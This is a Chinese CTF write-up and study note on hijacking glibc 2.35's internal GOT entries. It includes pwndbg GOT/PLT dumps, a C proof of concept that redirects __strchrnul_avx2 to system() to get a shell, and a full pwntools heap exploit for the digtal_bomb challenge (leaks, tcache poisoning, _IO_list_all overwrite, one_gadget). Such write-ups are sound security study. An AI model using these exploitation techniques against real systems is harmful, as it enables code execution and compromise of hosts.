0x00

在湾区杯2025的题目 digtal_bomb 中,除了复现过的house of cat打法,还有另一种打法:libc-got hijack,学习一下
参考博客

0x01 libc-got

关于got表和plt表的组合机制我们已经了解,其在可执行文件的作用往往就是解析libc函数的加载地址,然而,libc共享库文件本身也是存在got表和plt表的
就以Ubuntu GLIBC 2.35-0ubuntu3.11来调试;这里有一个小插曲:我们使用 gdb 调试libc.so.6时候,发现运行会有

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> r
Starting program: /home/r3t2/ctf/pwn_demos/libc-got/libc.so.6
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
[Inferior 1 (process 96401) exited normally]

会输出预置的版本等信息,我们知道输出肯定会走write调用的,我们在write下个断点就可以查看其got表和plt表了(直接用ida看也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/r3t2/ctf/pwn_demos/libc-got/libc.so.6:
GOT protection: Partial RELRO | Found 54 GOT entries passing the filter
[0x55555576e018] *ABS*+0xa8720 -> 0x5555556f19e0 (__strnlen_avx2) ◂— endbr64
[0x55555576e020] *ABS*+0xaaf80 -> 0x5555556ed610 (__rawmemchr_avx2) ◂— endbr64
[0x55555576e028] realloc@@GLIBC_2.2.5 -> 0x55555557c030 ◂— endbr64
[0x55555576e030] *ABS*+0xa9ac0 -> 0x5555556ef830 (__strncasecmp_avx) ◂— endbr64
[0x55555576e038] _dl_exception_create@GLIBC_PRIVATE -> 0x55555557c050 ◂— endbr64
[0x55555576e040] *ABS*+0xa97d0 -> 0x5555556f4800 (__mempcpy_avx_unaligned_erms) ◂— endbr64
[0x55555576e048] *ABS*+0xc5b00 -> 0x5555556f4f50 (__wmemset_avx2_unaligned) ◂— endbr64
[0x55555576e050] calloc@@GLIBC_2.2.5 -> 0x55555557c080 ◂— endbr64
[0x55555576e058] *ABS*+0xa8b00 -> 0x5555556ec870 (__strspn_sse42) ◂— endbr64
[0x55555576e060] *ABS*+0xa93f0 -> 0x5555556ed340 (__memchr_avx2) ◂— endbr64
[0x55555576e068] *ABS*+0xa95a0 -> 0x5555556f4840 (__memmove_avx_unaligned_erms) ◂— endbr64
[0x55555576e070] *ABS*+0xc59b0 -> 0x5555556f5540 (__wmemchr_avx2) ◂— endbr64
[0x55555576e078] *ABS*+0xa9950 -> 0x5555556f3a20 (__stpcpy_avx2) ◂— endbr64
[0x55555576e080] *ABS*+0xc5a40 -> 0x5555556f5140 (__wmemcmp_avx2_movbe) ◂— endbr64
[0x55555576e088] _dl_find_dso_for_object@GLIBC_PRIVATE -> 0x55555557c0f0 ◂— endbr64
[0x55555576e090] *ABS*+0xa88d0 -> 0x5555556f30c0 (__strncpy_avx2) ◂— endbr64
[0x55555576e098] *ABS*+0xa86a0 -> 0x5555556f1860 (__strlen_avx2) ◂— endbr64
[0x55555576e0a0] *ABS*+0xa9b10 -> 0x5555556ee1c4 (__strcasecmp_l_avx) ◂— endbr64
[0x55555576e0a8] *ABS*+0xa8390 -> 0x5555556f2d30 (__strcpy_avx2) ◂— endbr64
[0x55555576e0b0] *ABS*+0xc5370 -> 0x5555556f61c0 (__wcschr_avx2) ◂— endbr64
[0x55555576e0b8] *ABS*+0xab010 -> 0x5555556f1480 (__strchrnul_avx2) ◂— endbr64
[0x55555576e0c0] *ABS*+0xb1570 -> 0x5555556ed780 (__memrchr_avx2) ◂— endbr64
[0x55555576e0c8] _dl_deallocate_tls@GLIBC_PRIVATE -> 0x55555557c170 ◂— endbr64
[0x55555576e0d0] __tls_get_addr@GLIBC_2.3 -> 0x55555557c180 ◂— endbr64
[0x55555576e0d8] *ABS*+0xc5b00 -> 0x5555556f4f50 (__wmemset_avx2_unaligned) ◂— endbr64
[0x55555576e0e0] *ABS*+0xa9480 -> 0x5555556edb00 (__memcmp_avx2_movbe) ◂— endbr64
[0x55555576e0e8] *ABS*+0xa9b60 -> 0x5555556ef844 (__strncasecmp_l_avx) ◂— endbr64
[0x55555576e0f0] _dl_fatal_printf@GLIBC_PRIVATE -> 0x55555557c1c0 ◂— endbr64
[0x55555576e0f8] *ABS*+0xa81d0 -> 0x5555556f1cb0 (__strcat_avx2) ◂— endbr64
[0x55555576e100] *ABS*+0xc5470 -> 0x5555556e6680 (__wcscpy_ssse3) ◂— endbr64
[0x55555576e108] *ABS*+0xa8420 -> 0x5555556ec610 (__strcspn_sse42) ◂— endbr64
[0x55555576e110] *ABS*+0xa9a70 -> 0x5555556ee1b0 (__strcasecmp_avx) ◂— endbr64
[0x55555576e118] *ABS*+0xa8830 -> 0x5555556ece00 (__strncmp_avx2) ◂— endbr64
[0x55555576e120] *ABS*+0xc59b0 -> 0x5555556f5540 (__wmemchr_avx2) ◂— endbr64
[0x55555576e128] *ABS*+0xa99e0 -> 0x5555556f3dd0 (__stpncpy_avx2) ◂— endbr64
[0x55555576e130] *ABS*+0xc53f0 -> 0x5555556f5830 (__wcscmp_avx2) ◂— endbr64
[0x55555576e138] _dl_audit_symbind_alt@GLIBC_PRIVATE -> 0x55555557c250 ◂— endbr64
[0x55555576e140] *ABS*+0xa95a0 -> 0x5555556f4840 (__memmove_avx_unaligned_erms) ◂— endbr64
[0x55555576e148] *ABS*+0xa8960 -> 0x5555556f1690 (__strrchr_avx2) ◂— endbr64
[0x55555576e150] *ABS*+0xa8260 -> 0x5555556f1200 (__strchr_avx2) ◂— endbr64
[0x55555576e158] *ABS*+0xc5370 -> 0x5555556f61c0 (__wcschr_avx2) ◂— endbr64
[0x55555576e160] *ABS*+0xa9c10 -> 0x5555556f4840 (__memmove_avx_unaligned_erms) ◂— endbr64
[0x55555576e168] _dl_rtld_di_serinfo@GLIBC_PRIVATE -> 0x55555557c2b0 ◂— endbr64
[0x55555576e170] _dl_allocate_tls@GLIBC_PRIVATE -> 0x55555557c2c0 ◂— endbr64
[0x55555576e178] __tunable_get_val@GLIBC_PRIVATE -> 0x7ffff7fdad70 (__tunable_get_val) ◂— endbr64
[0x55555576e180] *ABS*+0xc5540 -> 0x5555556f6640 (__wcslen_avx2) ◂— endbr64
[0x55555576e188] *ABS*+0xa96d0 -> 0x5555556f5000 (__memset_avx2_unaligned_erms) ◂— endbr64
[0x55555576e190] *ABS*+0xc6cd0 -> 0x5555556f6840 (__wcsnlen_avx2) ◂— endbr64
[0x55555576e198] *ABS*+0xa82e0 -> 0x5555556ec9c0 (__strcmp_avx2) ◂— endbr64
[0x55555576e1a0] _dl_allocate_tls_init@GLIBC_PRIVATE -> 0x55555557c320 ◂— endbr64
[0x55555576e1a8] __nptl_change_stack_perm@GLIBC_PRIVATE -> 0x55555557c330 ◂— endbr64
[0x55555576e1b0] *ABS*+0xa89e0 -> 0x5555556ec750 (__strpbrk_sse42) ◂— endbr64
[0x55555576e1b8] _dl_audit_preinit@GLIBC_PRIVATE -> 0x55555557c350 ◂— endbr64
[0x55555576e1c0] *ABS*+0xa8720 -> 0x5555556f19e0 (__strnlen_avx2) ◂— endbr64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> plt
Section .plt 0x55555557c000 - 0x55555557c370:
No symbols found in section .plt
Section .plt.got 0x55555557c370 - 0x55555557c390:
0x55555557c370: free@plt
0x55555557c380: malloc@plt
Section .plt.sec 0x55555557c390 - 0x55555557c6f0:
0x55555557c3b0: realloc@plt
0x55555557c3d0: _dl_exception_create@plt
0x55555557c400: calloc@plt
0x55555557c470: _dl_find_dso_for_object@plt
0x55555557c4f0: _dl_deallocate_tls@plt
0x55555557c500: __tls_get_addr@plt
0x55555557c540: _dl_fatal_printf@plt
0x55555557c5d0: _dl_audit_symbind_alt@plt
0x55555557c630: _dl_rtld_di_serinfo@plt
0x55555557c640: _dl_allocate_tls@plt
0x55555557c650: __tunable_get_val@plt
0x55555557c6a0: _dl_allocate_tls_init@plt
0x55555557c6b0: __nptl_change_stack_perm@plt
0x55555557c6d0: _dl_audit_preinit@plt

表项大致可以分为几类:

  • avx/sse 后缀的不同优化版本的函数
  • 对动态链接器 ld-linux-x86-64.so.2 中函数的调用(如_dl_xxx
  • callocrealloc__tunable_get_val等公共符号

对于第一类,libc初始化时会根据 cpu 来确定strlenmemcpymemset等基础函数的合适优化版本来重定向;第二类则是类似我们的程序对libc中函数调用,libcld中的函数调用也走got表;第三类则是对外的公开接口,需要动态的可重定向性质

0x02 libc-got hijack

既然libc中也有got,那么got hijack是否也可以运用于libc中呢?当然可以,PoC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main(void) {
int num = 915;
char buf[4096];

/* 偏移常量根据版本调整 */
uintptr_t system_addr = (uintptr_t)(void*)system;
uintptr_t libc_base = system_addr - 0x50d70;

/* __strchrnul_avx2的got表地址 */
uintptr_t target = libc_base + 0x21a0b8;

/* 覆写 GOT 条目为 system 的地址 */
*(uintptr_t*)target = system_addr;

/* 触发 */
printf("/bin/sh");

return 0;
}

// Ubuntu GLIBC 2.35-0ubuntu3.11
// gcc poc.c -o poc

printf函数会调用

1
2
3
4
5
► 0x7ffff7c750dd <__vfprintf_internal+173>    call   *ABS*+0xab010@plt           <*ABS*+0xab010@plt>
rdi: 0x555555556004 ◂— 0x68732f6e69622f /* '/bin/sh' */
rsi: 0x25
rdx: 0x7fffffffc9d0 ◂— 0x3000000008
rcx: 0

这里*ABS*+0xab010@plt是哪一项呢

1
[0x55555576e0b8] *ABS*+0xab010 -> 0x5555556f1480 (__strchrnul_avx2) ◂— endbr64

正是__strchrnul_avx2,我们已经将其got表项覆盖为了system地址

1
2
pwndbg> s
__libc_system (line=0x555555556004 "/bin/sh") at ../sysdeps/posix/system.c:201

最后效果

1
2
3
4
5
6
 ── r3t2@LAPTOP-6JKPOVPE:~/ctf/pwn_demos/libc-got
│ 17:00:46
── $ ./poc
$ whoami
r3t2
$

0x03 湾区杯2025 digtal_bomb

#todo
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "digtal_bomb_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x19d6)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

p = start()

def debug():
gdb.attach(p, gdbscript=gs)
pause()

def add(index, size, content):
p.recvuntil(b"Your choice >>")
p.sendline(str(1))
p.recvuntil(b"Index >> \n")
p.sendline(str(index))
p.recvuntil(b"Size >> \n")
p.sendline(str(size))
sleep(0.1)
p.send(content)

def delete(index):
p.recvuntil(b"Your choice >>")
p.sendline(str(2))
p.recvuntil(b"Index >> \n")
p.sendline(str(index))

def show(index):
p.recvuntil(b"Your choice >>")
p.sendline(str(3))
p.recvuntil(b"Index >> \n")
p.sendline(str(index))
p.recvuntil(f"Show at index {index}:\n")

def edit(index, content):
p.recvuntil(b"Your choice >>")
p.sendline(str(666))
p.recvuntil(b"Index >> ")
p.sendline(str(index))
sleep(0.1)
p.send(content)

# step 1: go into the heap system
p.recvuntil(b"Enter min (0-500): ")
p.sendline(str(100))
p.recvuntil(b"Enter max (0-500): ")
p.sendline(str(101))
p.recvuntil(b"Your guess :")
p.sendline(str(101))

# step 2 leak heap base
add(9, 0x500, p64(0) + p64(0x601))
add(0, 0x4f0, b'X'*8)
add(10, 0x500, b'Y'*8)
add(1, 0x4f0, b'Z'*8)

# debug()
delete(10)
delete(9)
# debug()

add(9, 0x500, b'P'*4)
# debug()
marker = b'K'*8
# debug()
edit(9, marker)
# debug()
show(9)
p.recvuntil(marker)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
log.success(f"heap base: {hex(heap_base)}")

# clear
# debug()
for i in [0, 1, 9, 10]:
delete(i)
# debug()

# step 3 leak libc base
# debug()
forged_fd = heap_base + 0x2a0
add(0, 0x500, p64(0) + p64(0x601) + p64(forged_fd)*2)
# debug()

for i in range(1, 9):
add(i, 0xf8, b'A'*8)
add(9, 0xf0, b'B'*8)

# debug()
delete(1)

add(1, 0xf8, b"C"*(0xf0) + p64(0x600))


for i in range(3, 10):
delete(i)

delete(2)
# debug()

add(9, 0x4f0, b"D"*8)
show(1)

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
log.success(f"libc base: {hex(libc_base)}")

# step 4 get shell
delete(9)
add(8, 0x1f0, b"E"*8)
delete(8)
delete(1)

tkey = heap_base >> 12
head = b"F" * (0x300 - 0x10) # 0x2f0
hdr = p64(0x510) + p64(0x201) + p64((heap_base + 0x10) ^ tkey)
forged = head + hdr

add(3, 0x4f0, forged)

_IO_list_all = libc_base + 0x21a090
one_gadget = libc_base + 0xEBC85

pay_links = (p16(7) * 0x40) + p64(_IO_list_all) * 4
add(4, 0x1f0, b"G") # padding
#debug()
add(5, 0x1f0, pay_links)

add(6, 0x20, p64(one_gadget)*2)

p.interactive()